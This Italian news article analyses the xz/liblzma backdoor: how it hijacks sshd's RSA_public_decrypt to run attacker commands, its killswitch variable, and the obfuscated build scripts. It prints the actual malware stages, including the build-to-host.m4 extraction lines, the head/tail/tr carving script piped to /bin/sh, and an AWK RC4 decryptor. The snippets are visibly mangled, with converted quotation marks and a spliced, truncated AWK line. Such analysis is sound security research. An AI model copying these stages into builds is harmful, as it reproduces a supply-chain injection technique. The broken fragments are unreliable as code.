Analisi della logica di attivazione e funzionamento del backdoor nel pacchetto xz

Sono disponibili risultati preliminari del reverse engineering di un file oggetto dannoso, incorporato in liblzma a causa di una campagna di promozione di backdoor nel pacchetto xz. La backdoor colpisce solo i sistemi x86_64 basati su kernel Linux e le librerie C Glibc, in cui a sshd viene applicata una patch aggiuntiva che esegue il binding con la libreria libsystemd per supportare il meccanismo sd_notify. Inizialmente si pensava che la backdoor consentisse di eludere l'autenticazione in sshd e di accedere al sistema tramite SSH. Un'analisi più dettagliata ha dimostrato che non è così e la backdoor consente l'esecuzione di codice arbitrario nel sistema, senza lasciare tracce nei log di sshd.

In particolare, la funzione RSA_public_decrypt intercettata dalla backdoor verifica la firma dell'host utilizzando una chiave Ed448 fissa e, in caso di verifica riuscita, esegue il codice fornito da un host esterno tramite la funzione system() nella fase precedente al ripristino dei privilegi del processo sshd. I dati contenenti il codice da eseguire sono estratti dal parametro 'N', passato alla funzione RSA_public_decrypt (il campo 'n' della struttura rsa_st, contenente la chiave pubblica fornita dall'host esterno), verificati tramite checksum e decrittografati utilizzando una chiave predefinita ChaCha20 nella fase precedente alla verifica della firma digitale Ed448.

Il meccanismo standard di scambio delle chiavi host viene utilizzato come segnale per attivare la backdoor in sshd. La backdoor sfrutta il fatto che i certificati OpenSSH includono la chiave pubblica della persona che ha generato la firma e reagisce solo alla chiave preparata dall'attaccante, corrispondente a una chiave Ed448 fissa predefinita. Se la verifica della firma tramite chiave pubblica non riesce o se l'integrità dei dati per l'esecuzione non viene confermata, la backdoor restituisce il controllo alle funzioni standard di SSH.

Poiché la chiave privata dell'attaccante non è conosciuta, non è possibile implementare un codice di verifica che consenta a terzi di attivare la backdoor e implementare uno scanner di host compromessi nella rete. I ricercatori hanno preparato uno script che dimostra la tecnica di sostituzione della chiave pubblica con contenuto arbitrario nel certificato OpenSSH trasmesso dal client SSH, che sarà elaborato nella funzione RSA_public_decrypt intercettata dalla backdoor.

I ricercatori hanno anche notato la presenza di una costruzione che disattiva il backdoor (killswitch) nel sistema locale, quando l'ambiente è impostato prima dell'avvio di sshd sulla variabile «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».

In aggiunta, si può notare un'analisi dettagliata delle costruzioni shell utilizzate per complicare il processo di estrazione del file oggetto con il backdoor e la sua sostituzione nella libreria liblzma. Durante la compilazione del pacchetto xz dallo script build-to-host.m4, veniva eseguito un codice che trovava tra i file di test l'archivio bad-3-corrupt_lzma2.xz, sostituiva alcuni caratteri, lo trasformava in un archivio integro ed estraeva uno shell script. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’ gl_path_map=’tr «\t \-_» » \t_\-«‘

Lo shell script ottenuto estraeva a pezzi dal contenuto dell'archivio good-large_compressed.lzma un altro shell script, saltando sequenze specifiche tramite i comandi head e tail, e sostituendo caratteri con il comando tr. ####Hello#### # alcuni byte binari qui, ma poiché è un commento vengono ignorati [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####

Di conseguenza, è stato creato uno script shell piuttosto complesso e voluminoso che estrae direttamente il file del backdoor dall'archivio good-large_compressed.lzma, lo decritta e lo integra in liblzma. Tra l'altro, lo script includeva l'implementazione di un meccanismo di plugin, che consente di fornire successivamente componenti eseguibili aggiuntivi attraverso la disposizione di nuovi archivi di test, senza modificare good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, ma utilizzando la ricerca per firma. Il codice utilizzava anche un decrittore basato sull'algoritmo RC4, implementato in AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed 's/\(.\)/\1\n/g' | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster